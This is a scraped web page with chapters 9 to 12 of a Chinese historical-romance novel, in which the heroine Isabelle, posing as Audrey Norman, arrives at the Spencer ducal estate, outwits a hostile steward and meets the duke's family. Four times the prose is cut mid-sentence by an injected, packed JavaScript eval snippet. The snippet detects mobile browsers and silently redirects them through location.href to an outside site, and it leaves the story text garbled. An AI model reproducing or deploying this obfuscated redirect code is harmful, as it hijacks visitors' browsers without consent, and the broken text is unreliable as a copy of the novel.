说罢，他往马车上一跳，同贾维斯使眼色。 马车齐刷刷从伊莎贝尔面前路过。 刚下过雨的青草地被车辙压出泥泞，眼看就要溅出泥点子，还好伊莎贝尔眼疾手快，拉开了艾米丽。 车内，安德鲁冷笑，眼底的幸灾乐祸不加掩饰。 “等着吧，好日子才刚开始呢。” 贾维斯意味深长地看了他一眼：“她看起来可不是好惹的，比尔。” 安德鲁抬高下巴：“是吗？可我什么也没做，我只是办事心切，不小心把未来的公爵夫人，稍微放远了那么一点儿。” 贾维斯意识到了什么，“真够滑头的，安德鲁。” 安德鲁神情傲慢：“她总要知道，即便是公爵夫人，得罪了查尔维斯的大总管，就要吃点无形的苦头。” 马车渐行渐远，落在身后的两个姑娘逐渐变成视野里的小黑点。 安德鲁与贾维斯相视一笑，似乎能预见诺曼小姐的狼狈下场。 湖泊边，艾米丽又急又气：“他们就这么走了？庄园这么大，沿着这条路走，谁知道要走到什么时候？天快黑了，万一迷路怎么办？” 不怪艾米丽着急，她们长途跋涉数日，早就疲惫不堪，现在还要步行前往未知的地方，圣母玛利亚来了都要心生怨气。 伊莎贝尔的修养堪比玛利亚，她低头沉思片刻，忽然轻笑。 “他承担不了我们失踪的后果，只管往前走吧。” 艾米丽头脑简单，胜在听话。 见伊莎贝尔往前走，她便老实地跟上。 雨过天晴，空气里弥漫着青草的味道。平心而论，如果忽略这条小路上的泥泞，查尔维斯的风光的确名副其实。此刻，伊莎贝尔只能分出一半的心神欣赏。 另一半则在琢磨，安德鲁的报复不会只是捉弄她多走一段路这么简单。 伊莎贝尔看着小径的尽头，又看了看脚底厚厚的泥泞，心里渐渐有了猜想。 - 查尔维斯主城堡外，一场狩猎盛会在此举行。 受公爵府之邀的宾客非富即贵，穿梭其中的贵妇衣着华丽，佩戴的宝石个顶个闪耀。 男宾与部分活泼的女士骑马深入林中狩猎，年长的妇人们则簇拥着一位老夫人，说笑寒暄。 老夫人身穿墨绿色天鹅绒华托服，银发一丝不苟盘成分层发髻，搭配同色宽檐帽。日光下，隐约可见祖母绿蜻蜓胸针上，镶嵌在薄翅里的玫瑰钻石。 接连应付几位客人的恭维，老夫人——现任斯宾塞公爵的祖母；一位以吹毛求疵闻名的老年贵妇；薇奥莱特女士，脸上渐渐显露出不耐。 “埃莉诺。”薇奥莱特喊。 忠诚的女管家立刻走向她：“是，夫人。” “安德鲁还没回来吗？” 埃莉诺看向身后的女仆，女仆会意，上前道：“半小时前，安德鲁管家的马车已经回到庄园。” 薇奥莱特皱眉，立刻吩咐埃莉诺：“你去告诉他，别把那位诺曼小姐领到宴会区。” 埃莉诺迟疑：“我想您该见一见未来的孙媳妇。” “但不是今天。”薇奥莱特用羽毛扇遮脸，嫌弃地翻了个白眼，扫视周围，“噢！埃莉诺，瞧瞧这些恨不得把家里的行头都搬到身上的女人们！我可不想她们一眼就看出斯宾塞公爵府未来的女主人是个乡下来的土包子！” “……” 埃莉诺沉默片刻，识趣地没有提醒老夫人，她胸前的绿蜻蜓宝石胸针也是翻了一早上的箱底，特意找出来摆阔的。 “出身男爵家庭，诺曼小姐想必没有您预计的那般粗鲁。” “男爵？噢！埃莉诺！别再提醒我海因里希即将迎娶一位男爵女儿！”薇奥莱特挑眉，语调是贵族特有的抑扬顿挫，“诺曼？呵，多么古老的姓氏，如果不是女王赐婚，除非回到一千年前他们有名有姓的时候，我才能勉强同意沾上一门‘诺曼’姻亲！” 说话时，不远处的某位伯爵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902046|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人向薇奥莱特颔首致意。 薇奥莱特回以谦和的微笑，转头嘴角就耷拉下去，“看看！多少双眼睛盯着我！快去叮嘱他们，要是人已经在来的路上，立刻把她带下去整装打扮。” “是。” 埃莉诺不再赘言，转身离开。 路上撞到一位迎面走来的年轻贵妇，她脚步一顿，颔首行礼：“路易莎夫人。” 路易莎·霍华德，公爵堂弟埃德蒙·斯宾塞的夫人；暂时对查尔维斯庄园行管理之责；一位出身侯爵府邸饱受美誉的贵族千金。 “埃莉诺？奶奶急匆匆地叫你去做什么？” 路易莎穿着红绸大摆长裙，胸前的鸽血红与她的头发一般耀眼。与出彩的穿着不同，她向来性情温和，对待仆人总是宽容仁慈，很受大家欢迎。 面对她谦逊的神情，埃莉诺却丝毫不受触动，依然板着脸：“薇奥莱特夫人让我去拿遮阳伞。” 路易莎盯着她看了一会儿，眸光微动。 知道埃莉诺的嘴向来严实，她没打算问出什么，只抬着扇子遮挡并不存在的阳光，暗示埃莉诺别撒拙劣的谎。 “是啊，刚下过一场雨，真热。但愿未来的嫂嫂，那位来自洛森郡的诺曼小姐，能够适应查尔维斯庄园变化无常的天气。”路易莎感慨，“哦，对了，算算时间，她应该今天到了吧？” 埃莉诺沉默，并不回应，也不为刚才的借口而脸红。不动如山的模样，像极了薇奥莱特摆在房间的座钟，除了提示主人以外，对其他的一切漠不关心。 路易莎心里冷哼一声，面上却笑容不变，“好了，你去忙吧。耽误你的时间，奶奶又该对我不满了。” 埃莉诺颔首告辞。 另一边，宴会中心的薇奥莱特早就注意到了路易莎。 威严而不耐的声音传来，“路易莎，过来我看看，希望你今天穿了我建议的红色裙子。” 路易莎换上热情的笑脸，优雅踱步：“如您所见。” 薇奥莱特用挑剔的目光上下扫视，良久才勉强赞许：“很好，在查尔维斯庄园行走的女人，维持光鲜的外表是最基本的要求。身为主人更是如此。” “别再让我看见任何一位斯宾塞太太佩戴尺寸少于一百五十格令的珠宝。那会让赫斯兰的外来侯爵夫人笑话我们锡兰贵族的宝石像豌豆一样可怜！” 路易莎温驯低头：“是。” 眼看众贵妇聚拢而来，薇奥莱特停止训诫，摆手道：“去应酬吧，路易莎。你的交际能力要比穿衣品味高出不少，这是唯一让我感到欣慰的。” 路易莎再次颔首，笑道：“我天资愚笨，达不到祖母的要求。但我希望新来的‘斯宾塞太太’能有机会得到您的教诲，至少能让查尔维斯拥有更得体的管家人。” 话音刚落，路易莎悄悄抬眸，果然看见薇奥莱特脸色逐渐难看。 新来的“斯宾塞太太”？！乡下小郡来的丫头，别来隆重的宴会上丢脸就不错了，还体面？！ 薇奥莱特翻白眼：“哼，上帝保佑，但愿埃莉诺来得及阻止她出现。” 路易莎听见她的抱怨，面上不动声色，照常与众贵妇谈笑风生，展示伶俐的口齿，内心却开始发笑。 来不及，当然来不及。 早在安德鲁进入庄园时，她就收到了消息。 路易莎环视四周，上流社会的交际舞会，往来贵妇穿梭，重重衣香鬓影之间，注定要出现一位狼狈的小姐，像丑小鸭闯入天鹅群——这会作为未来的斯宾塞公爵夫人，第一次惊艳亮相。 路易莎以扇掩口，轻勾唇角。 奥黛丽·诺曼？期待你的到来。 10. 第 10 章 路易莎的心声在下一刻应验。 乐团奏起悠扬的钢琴曲，高音演唱家声音雄浑，优美的音符覆盖在派对上空。 贵妇们保持着端庄体态，凝神欣赏音乐。最中央的薇奥莱特夫人闭着眼陶醉，就在女高音头腔共鸣，调子升至天灵盖的时刻，周围气氛陡然一凝，随即响起窃窃私语声。 “噢！她是谁？” “不知道，听说是……” …… 薇奥莱特心脏一紧，缓缓睁眼——只见不远处有个金头发女孩缓缓走来，穿着与华丽搭不上边的朴素蓝裙子，全身上下找不出一块可值得称道的发光石头。 所有人都将目光隐隐投向老夫人，看她的脸色行事。 长久的沉默后，薇奥莱特面无表情：“奥黛丽·诺曼？” 那位金发小姐已走到近前，行了一个无可挑剔的淑女礼：“是。” 眼前面带微笑的女孩，正是伊莎贝尔·诺曼。 薇奥莱特沉默半晌，深吸一口气：“路易莎，我想我需要嗅盐！” 路易莎：“噢！奶奶！你喘不上气了吗？” 场面陷入一阵小骚乱，路易莎忙吩咐仆从拿嗅盐，又向伊莎贝尔投以致歉的眼神，扫视的一瞬间，她忽然察觉不对劲。 伊莎贝尔安静地笑看她。 即便全身衣着朴素，却算得上干净整洁，尤其那双脚……并没有像路易莎预计的那样沾满污泥。 路易莎动作一顿，目光缓缓上移，定格在伊莎贝尔的脸上。 二人隔着攒动的人头对视，那双冰蓝色的眼睛平静如湖面，似乎将她心底的算计看得一干二净。 - 二十分钟前。 走过泥泞的小径，伊莎贝尔与艾米丽的鞋已经脏得令人发指，连裙摆都沾上了污渍。更别说额头的薄汗与散乱的碎发，衬得两个人像不小心闯进庄园的流浪汉。 艾米丽喘着气，看见不远处的高大城堡，兴奋道：“快到了！小姐，我们赶紧走吧！” 说着就拉起伊莎贝尔的手，却被后者按下。 “不。”伊莎贝尔看着清澈的湖泊，里面倒映着二人不堪的尊容，“不能这样过去。” 安德鲁和他背后的主人，一定在前方谋划着什么，好给外来者下马威。 不轻不重，是警示也是试探。 而她既不能完全着道，也不能完全绕道——初次亮相，对方想试试她的深浅，她也能借此机会了解庄园的局势。 艾米丽看着伊莎贝尔走向湖边的大树，借着粗壮树干的遮挡，竟然开始脱衣服？！ “伊……奥黛丽小姐！你在做什么？” “如你所见，换上干净的裙子和鞋子。”伊莎贝尔利落拆散头发，重新整理，“过来帮我解开裙带。” 艾米丽惊慌失措，一面老实地帮伊莎贝尔换衣服，一面打量周围，发现这里完全没人才松了一口气。 “小姐，我必须说，这太冒险了！”艾米丽声音发着抖，“要是有人路过可全完了！一位体面的淑女被人看见裸露的身体……噢！我不敢想象！” 伊莎贝尔轻笑，从箱子里拿出新衣服，“放轻松，傻姑娘。安德鲁管家绝不会允许这条路上出现其他活人，那会让‘乡下丫头误闯盛会’的计划泡汤。” “可是……”艾米丽仍然很紧张，替她勒紧束胸的手都在抖，“万一有哪个倒霉的混蛋误闯……” 话音刚落，一枚石子突然投入湖面，发出“咚”的声响。 同一瞬间，艾米丽头发都要竖起来，发出短促地惊叫：“啊！” “谁？！是谁？！”艾米丽惊慌失措，“小姐，有人？” 她左看右看，周围平坦的草地一望无际，远处的小树林也荒无人烟！ 老实说，在石头投入湖面的那一刻，伊莎贝尔的动作也停滞了数秒。 很少会有事情超出她的掌控，但毕竟不是全部。显然，此刻就是超出预计的那一小部分。 伊莎贝尔没有抬头，只盯着水面。 清澈的水镜倒映着少女被束胸勾勒出的曼妙身形，雪白肌肤在日光下闪闪发亮。倒影里，年逾百年的大树枝叶繁盛，半空中的粗壮树干后，一截衣摆露了出来，还有两条架着的腿，正在悠闲晃荡。 这明摆着就是那位投石子的元凶。 艾米丽还在慌乱寻找，甚至诞生可怕的猜想：“这里明明没有人！听说历史悠久的庄园离草木有灵，会诞生精灵！查尔维斯不会也有……” 倏然，有人发出一声嗤笑。 艾米丽如惊弓之鸟，“嗷”地一嗓子弹起来。终于找到了声源——就在头顶的树上。 “谁在那？！快下来！”艾米丽壮着胆子，一边挡在伊莎贝尔身前，“听着，我我我我们小姐是未来的公爵夫人！奥奥奥黛丽·诺曼！你敢把今天的事说出去一个字，公爵一定不会饶了你！” 片刻，传来纸张翻页的声音。那人似乎在看书，语气带着被打扰的不悦，冷哼：“奥黛丽·诺曼？请搞清楚，是你闯入我的领地，不由分说地脱个精光。看样子，似乎还会对我的名誉有损，该作出警告的是我才对。” 艾米丽瞠目结舌：“……” 在他们对话的期间，伊莎贝尔已经淡定地把衣服穿上，甚至有空将脏衣服放回箱子，俨然又是一位体面的淑女。 她对着水面整理碎发，余光瞥向树梢人影，语气漫不经心：“闯入你的领地？敢问阁下是？” “我为什么要自报家门？这对我将来要实施的敲诈行为毫无帮助。”男人声音冷傲又坦然。 艾米丽两眼一翻：“完了完了！他果然是个无赖！” 艾米丽已经沉浸在未来被敲诈勒索的恐惧中，伊莎贝尔却连眼皮都没抬，“尽管去吧，我身上有三颗痣，腰上还有一块蝴蝶胎记，但愿你能凭着我的丑闻，从斯宾塞公爵那敲出一万锡兰币。” “一万？”男人嗤笑，“你太看不起公爵夫人这个头衔的分量了。” “也许吧，可能更多，但那又怎样？”伊莎贝尔挑眉，缓缓道，“在拿到支票前，你已经没命了。” 男人反唇相讥：“但你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902047|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身败名裂不是吗？” “姑且这么认为吧，为了避免彼此的麻烦，建议你守口如瓶。”伊莎贝尔顿了顿，耸肩，“否则，女人被看了裸|体不会天崩地裂，但一位非公爵之外的男人敢看公爵夫人的裸|体，性命必定不保。” 男人潦草地鼓掌：“噢，精彩的威胁。” 伊莎贝尔轻笑，用帽针别好蕾丝宽檐礼貌，对着水面确认着装整洁后才起身。 途中换件衣服被男人看见身体，于她而言不过一个小插曲，掀不起波澜。但是，如无必要，她不会给自己留下隐患。 “这位无赖先生，建议你还是报上姓名。” 雨过天晴，伊莎贝尔的裙摆随风轻飘，宽檐礼帽遮住冰蓝色的眼睛，临走前，她才仰头看向树梢，微笑：“否则，我会一个一个排查，总会找到你是谁。当然，大张旗鼓地查问，与彼此和平隐瞒，两种结果截然不同。” “真令人害怕。” 男人发出短促的笑声，像是此刻才真正被她吸引注意。 伊莎贝尔没有站在原地等待，利落地拎着箱子朝城堡方向走去。 半路上，听见后面传来声音。 “亨里克·斯宾塞。公爵府的三少爷。” 树干后，书页不知何时合拢，一双黑色眼瞳注视着少女远去的背影。 伊莎贝尔步履不停，似乎没有将身后的声音放在心上。 脑中却默记——亨里克·斯宾塞？ 艾米丽被伊莎贝尔留在原地，看守着行李。 伊莎贝尔眸光微动，拎着裙摆走向宴会区。 时针拨回此刻。 伊莎贝尔等待着骚乱过去，脸上既没有慌张，也没有愧疚。 众所周知，嗅盐总是出现在需要展示震惊的时刻，就像音乐家的指挥棒，厨师的调味瓶。少了趁手的道具，公爵老夫人就难以表达对乡下丫头穿衣品味的质疑和嫌弃。 正如此刻，薇奥莱特接过嗅盐，连瓶盖都没揭，人就坐直了身体，向是从梦中惊醒，并希望眼前的伊莎贝尔能原地消失。 伊莎贝尔对上薇奥莱特审视的目光，这才上前，弯曲膝盖行淑女礼。 “薇奥莱特夫人，初次见面，向您问好。” “你好，诺曼小姐。”薇奥莱特面无表情，但勾起标准的锡兰贵族式嘲讽微笑。 她从伊莎贝尔的头一直看到脚，如果不是条件所限，恐怕她连脚底板沾了几寸泥土都要检查。 伊莎贝尔任她打量，唇边含笑，又向其他人颔首：“初次见面，各位好。” “噢！你好，诺曼小姐。”各家贵妇笑容和煦，纷纷回应，同时也在评判着眼前的少女——知道公爵府会迎来一位洛森郡的新夫人，大家好奇极了。 乍一看，少女朴素的穿着与其他人的珠光宝气格格不入。仔细看，却发现她眼眸明亮，头发整齐，举止大方有礼，是位很出众的小姐。 薇奥莱特显然也察觉了这一点。 乡下丫头似乎没有把斯宾塞家的脸丢尽，这让老太太捏着嗅盐的手不由得松了松。 11. 第 11 章 “很高兴安德鲁将你安全送达，欢迎来到查尔维斯，诺曼小姐。”薇奥莱特语气缓和，脸上表情还是绷着，“你的礼貌令我喜欢，但……假如，我是说假如你能先休息片刻再来宴会亮相，或许会更轻松。” 当着宾客的面，老太太用关心的方式婉转表达质疑。伊莎贝尔当然听得出来。 可她现在并不了解局势，更不清楚薇奥莱特的立场和为人，所以不能直接告安德鲁的状。 念头转过数秒，伊莎贝尔颔首道：“休息固然重要，但任何人来到‘锡兰之心’，都难以抗拒想要游览的心情，玛格丽特雕像实在宏伟壮观，薇奥莱特夫人。” 她既恭维查尔维斯，又刻意点出‘玛格丽特雕像’，表达自己的确是亲身游览过的。 薇奥莱特唇角上扬，很快忍住，又极力往下垂着，作出严厉的姿态，“如果是这个理由，那我勉为其难能够理解。” “是个真诚的女孩。”有善心的贵妇笑道，“即便是查尔维斯的常客，也总为这里的美景沉醉。” “是啊，我也这么认为。” …… 几位贵妇接过话茬恭维，薇奥莱特的嘴角再也难以克制。 “过来，奥黛丽。”薇奥莱特招手。 伊莎贝尔：“是，薇奥莱特夫人。” “从现在起你可以叫我祖母了。”薇奥莱特起身，带着她走向众贵妇，“向你介绍，这是文森特表亲、这是辛西娅夫人，这是……” 伊莎贝尔一一与贵妇们打招呼，很快便完成了新人亮相宴会的任务。 最后，薇奥莱特叫来身侧的红裙女人，“这是路易莎，海因里希排行第二的弟弟，埃德蒙的妻子、你的弟媳。将来都是一家人，你们需要彼此了解。顺便……” 她顿了顿，看了眼伊莎贝尔：“你还得尽早学会如何打理家业，现在这一切由路易莎暂代，等你能够胜任，就要交还给你了，明白吗奥黛丽？” 伊莎贝尔：“明白了。” 点头的瞬间，路易莎眼底划过冷光，很快掩饰，笑道：“我会尽力帮助诺曼小姐。” “叫我名字就好。”伊莎贝尔微笑，直视她，“路易莎。” “噢！忘了给你介绍最重要的那一位。”薇奥莱特挑眉，几位夫人不约而同笑了起来。 “诺曼小姐初到查尔维斯，想必还没见到你未来的丈夫、斯宾塞公爵？” 伊莎贝尔笑：“是的，还没见过。” “他们男士去打猎，看时间快回来了。” 说着，众人一边站起身往下看去。 宴会区布置在长而平缓的坡上，视野极好，放眼望去是无际的草地山林。 山坡下，几位男士拖着猎物骑马而归，认出自己的妻子，向这里招手。 “嘿！亲爱的！” “噢是文森特，他回来了？”男士的妻子迎上前。 太阳快落山，不断有人回来，大家一起谈笑，顺便等待未归的大部队。 一时间，马蹄哒哒声不绝于耳。 伊莎贝尔并不大说话，只是客人们过来打招呼，薇奥莱特会顺便为她介绍，她再默默记下所有身份。 直到天边残阳渐收，路易莎也招起手来：“嗨！我在这！埃德蒙！” “奶奶，埃德蒙回来了！”她又转头告诉薇奥莱特。 “是的，我还没有老眼昏花。”薇奥莱特皱眉，“噢！连埃德蒙都回来了，希望海因里希没有被狼吃了，或者摔断腿？除非他猎了一头熊，否则我想不出这个点没回来的理由。” “不排除这个可能，奶奶！今天一整天我都没看到哥哥的身影，我倒要看看他怎么赢我！”埃德蒙牵着马由远及近，兴高彩烈地展示猎物：“看，路易莎，我抓到了三只红松鸡和野兔子！” “恭喜大丰收，亲爱的。”路易莎和埃德蒙贴面，“为你介绍新成员，诺曼小姐，未来的大嫂。” 埃德蒙这才看向伊莎贝尔，停留好一会儿才颔首行礼：“初次见面，向你问好。叫我埃德蒙就好，诺曼小姐。” “你好，埃德蒙。”伊莎贝尔微笑。 埃德蒙身量很高，却也很瘦。头发与眼珠都是黑色的，显得皮肤尤为苍白，很符合当下的少女对美男子的标准。如果再加点幽默风趣，就很能解释路易莎眼底的爱意。 伊莎贝尔不着痕迹地审视一番，移开视线——但不符合她的审美。 埃德蒙似乎对自己的魅力分外自信，他俏皮地眨眨眼，拎起一只野兔递给伊莎贝尔：“路易莎，请别介意我把这只野兔送给诺曼小姐，作为初见大嫂的见面礼。” “毕竟……”他顿了顿，自信一笑，“海因里希今天的长胜记录被我打破了，他兴许无颜面见美丽的未婚妻诺曼女士。” 路易莎沉默片刻，微笑：“当然可以。” 薇奥莱特：“埃德蒙，别在结果未定之前说大话。” “是啊，埃德蒙表弟，每年的狩猎盛宴海因都是冠军。”一旁的文森特先生打趣，“万一这次他捕到红鹿呢？” 埃德蒙眼色暗了暗，很快笑了起来：“是吗？那真是祝他好运！红鹿可是三年没出现了……” 话音未落，远处突然传来猎狗的吠叫。 众人纷纷抬头望去，穿着大裙摆的贵妇们占据了最前面的视野。 沉默一瞬，惊叹声接连不断。 “大部队回来了！噢！天呐！快来看！他们在赛马？！” “是我父亲，还有公爵也在！最前面的那个就是！” “我哥哥也在！” “太酷了！原来他们落在最后玩赛马！” “让我看看！真有意思！” …… 刚放下野兔的伊莎贝尔只来得及从缝隙里看见山坡下的情景。 打猎归来的大部队，自发开始赛马。 最前面，猎狗迅猛开道，吠叫声不绝于耳。后面是一长串的马队，无数骏马溅起尘土，带出千军万马的气势，轰隆隆而来。 最前面那匹马，浑身纯黑，戴全套银色马具，载着主人一骑绝尘。 日落西山，残阳如血。 狂风吹得他亚麻白宽袖衬衫猎猎而舞，薄红光线勾勒策马狂奔的姿态，像中世纪油画上的骑士般所向披靡。 “海因里希！第一！” 不知道是谁先发出的呐喊，人群突然自发地响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902048|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应，助威声山呼海啸。 “海因里希！第一！ “海因里希！第一！” 向来以稳重内敛闻名的锡兰贵族，被眼前的一幕激发骨子里的野性。顾不得礼仪和体面，贵族们敞开嗓子呐喊，仿佛回到中世纪战役现场，自己就是上阵拼搏的勇士。 “海因里希！海因里希！” …… 薇奥莱特老夫人差点跟着喊，刻在骨子里的规矩让她克制住，转头看见伊莎贝尔专注欣赏的眼神，不由得露出骄傲的笑，矜持地抱怨：“噢！奥黛丽，我告诉过海因，不要总是拿第一，叫人难堪。可是斯宾塞家的男人总是好胜，唉，毫无办法。” 伊莎贝尔莞尔：“是的，显而易见，您毫无办法。” 薇奥莱特满意一笑，再次看向赛场。 夕阳渐落，借着一缕余晖，众人看清场上胜局已定，黑马拉开第二名很远的距离。 然而就在高速疾驰的过程中，马背上的男人突然双手放开缰绳，夹紧马腹掉头绕了一圈。观众们会心一笑，以为他是要刻意等待后面的人。 下一刻，男人迅速搭起弓箭，瞄准天际——“咻”地一声，利箭裂空而去，一只灰雁应声掉落，正好砸在山坡上。 “天哪！射中了灰雁！” 时下贵族打猎多用猎枪，而他用最简陋的弓箭，在移动的马上射中移动的大雁，无疑是明晃晃的炫技！ 短暂的沉默后，再次点燃热烈的欢呼。 “海因里希！第一！” “海因里希！第一！” 射中猎物，黑马再次疾驰，气势雄浑。 山坡上的人群纷纷让开一条路，就在眨眼间，黑马猛冲而来，在主人的操纵下避开人群，绕了一圈才减速，喝彩声响起。 “啊！第一！！赢了！” “赢了！” “棒极了！” “公爵！公爵！公爵！” …… 众人簇拥着得胜归来的男人。 他没有下马，就这么抓着缰绳缓慢踱步，不时回应着祝贺，气势倨傲而凌然。 伊莎贝尔站在不远处，这才看清他的脸。 黑色中长头发被风吹向脑后，发尾蓬松微卷，有点像现代的狼尾，符合此人凌厉的气势。 他正在与人说话，碰巧一缕额发垂落，随手往后拨开，露出清晰的五官——脸型瘦窄而五官立体，每一处都协调融洽，与埃德蒙相似的黑色眼珠放在这张脸上，却显露出截然不同的深邃。 幸好被修长结实的身材中和，兼有生人勿近的气势与武力，才让人忽略这份不可思议的俊美。 像是察觉到注视，他倏然偏头，直直看向人群里的伊莎贝尔。 对上那双黑色眼珠，伊莎贝尔不闪不避，甚至微微颔首示意。 高大勇猛的冠军马，擦开人群，缓缓而来。众人不明所以，看着它前进，直至停留在蓝裙少女的面前。 衬衫潦草敞开露出锁骨，面对女士居高临下，这位贵族先生似乎没有恪守绅士礼仪的自觉，相当地自我。 他眼神睥睨，看着伊莎贝尔，慢慢吐出自我介绍：“海因里希·斯宾塞。” 12. 第 12 章 薇奥莱特皱眉训斥：“海因？我希望你记得自己是个贵族，盯着一位女士的眼睛超过三秒很无礼，对你未来的公爵夫人放尊重些，即便她是个十足的美人！” 语速飞快说完，意识到自己夸赞了伊莎贝尔的美貌已经来不及。 薇奥莱特诡异停顿两秒，不自在地干咳：“噢，我是说，虽然其他方面尚不足以得到我的夸奖，但金发碧眼的姑娘终归是吸引眼球的。” 贵妇们发出善意的笑声。 “毋庸置疑，未来的公爵夫人是个美人。” “谢谢各位的赞赏，尤其是来自薇奥莱特夫人的，当然，如果那算赞赏的话。”伊莎贝尔莞尔，一面瞥向海因里希：“不过，公爵先生的注视里应该不含上述的意思，我说得对吗？” “是的，比起你的蓝眼睛，我更惊叹于你的好运气。”他顿了顿，抬起下巴，“毕竟你是第一个真正到达查尔维斯的‘未来公爵夫人’。 这句话落地，气氛陡然沉寂。 众所周知，斯宾塞公爵已经死了四任未婚妻。这是查尔维斯的禁忌话题，从来不会公开讨论，此刻却被公爵本人搬上台面。 将家族尊严视为性命的薇奥莱特脸色立刻沉了下去：“海因里希！” 路易莎和埃德蒙对视一眼，似乎意识到这是添油加醋的好时机。 在开口前，却被伊莎贝尔抢先。 她笑意盈盈，像是没有察觉海因里希话中的第二层意思，顺理成章地将此视为夸赞，“是吗？这真是我的荣幸。” 贵妇们很有眼力劲儿，再次围着薇奥莱特说笑，一场风波蛰伏于无形。 海因里希注视着这一幕，眸光微动。 侥幸进入查尔维斯的未婚妻女士，比他想象得要敏锐。 不过，他表面上还是高傲地仰着头，发出冷哼。 下一刻，胯|下的坐骑却凑到伊莎贝尔的眼前，湿润的大眼睛眨了眨，还蹭了蹭她的掌心。 伊莎贝尔只好摸了摸冠军马的头。 与它的主人不同，这匹驰骋草原的悍马此刻无比温驯。 但爱马的背叛似乎令海因里希不大高兴，他拉了拉缰绳：“布莱克！” “你叫布莱克？”伊莎贝尔拍了拍黑马的头，它高兴地发出嘶鸣，又挨了海因里希两巴掌。 薇奥莱特哼笑出声：“布莱克还没改掉向女士献殷勤的毛病。” 众人都笑了起来，海因里希翻了个白眼。 谈笑半晌，仆人们将马和猎狗带走，好胜的雄性们迫不及待开始比拼谁的猎物更多、更珍贵。 埃德蒙得意地拎出红鸡：“嘿！你们瞧瞧这是什么！” “噢！红毛山鸡！棒极了！”众人围上去捧场。 红毛鸡生长于锡兰公国南部，属于野山鸡的一种。会飞的猎物都很难捕捉，埃德蒙一口气拎出三只，算是不菲的成绩。 他又拎起那只送给伊莎贝尔的野兔子，冲海因里希投以挑衅的眼神：“海因！很抱歉，虽然你打到了灰雁，恐怕也无法和我的猎物们相比。就由我代替你给诺曼小姐送上一只野兔子，作为冠军给女士的献礼。” 文森特怪叫起来：“噢？！搞清楚，诺曼小姐是海因表兄的未婚妻，轮不到你借花献佛，伙计！” 埃德蒙轻蔑一笑，不无炫耀道：“是的，可惜海因今天成果寥寥。” “很早以前我就对你说过。”他顿了顿，缓缓走向海因里希，目光阴鸷，“狼群里没有哪只狼能够一直做首领，狩猎盛宴的冠军也不会永远是同一个人。但凡头狼露出疲态，就会被窥伺的对手狠狠咬住脖颈。” 他说这话的声音压得很低，只有离得近的伊莎贝尔听见。 埃德蒙就像狼崽子，对待兄长毫无恭敬可言，眼底攻击性十足。而兄长似乎也没友好到哪里去，几乎将漠视和不屑写在脸上。 来自头狼的傲慢瞬间点燃了埃德蒙！ “你在高傲什么？！我赢了你！海因里希！正视我！回答我！”他咬牙切齿。 “赢我？”海因里希最后的耐心被消磨，扯开一丝狠厉的笑，猛地揪住埃德蒙的领子，单手把人拎了起来，“听着，埃德蒙，你连和我对话的资格都没有。从前，现在，和未来。” 动静引来薇奥莱特的注视，她看向两个孙子：“埃德，海因，你们在做什么？” 伊莎贝尔和路易莎站在老夫人身侧，同时对望一眼。 路易莎深吸一口气，微笑：“没什么，奶奶，常胜将军马失前蹄，海因有些失态在所难免。埃德蒙作为今天的赢家总该慷慨大方。你说是吧，诺曼小姐？” 伊莎贝尔挑眉。 这是明晃晃地拉战线打擂台了？ 前世，作为许莉莎，她也看过一些宅斗小说。现在她发现，也许东方的宅斗技巧对于西方来说，还是太超前了些。 来之前，她以为要花很长时间才能辨忠奸，现在好了，反派都会自己跳出来，明刀明枪地给你不痛快。两面三刀，阴阳脸什么的……人家还没到那个阶段。 念头滑过心间，伊莎贝尔甚至觉得眼前的情景有些好笑。 不过，夫妻一体，不管内里怎么样，作为公爵夫人，在外她得维护海因里希。 “路易莎，海因里希不至于为一次失败而失态，倒是埃德蒙，取得艰难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902049|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胜利不容易，这只野兔还是还给你们。”伊莎贝尔顺势将对方用以炫耀的战利品还回去。 路易莎微笑：“野兔而已，是我和埃德蒙的心意。能赢一次，就能再赢无数次。” 说着又递回来。 伊莎贝尔当然不接。 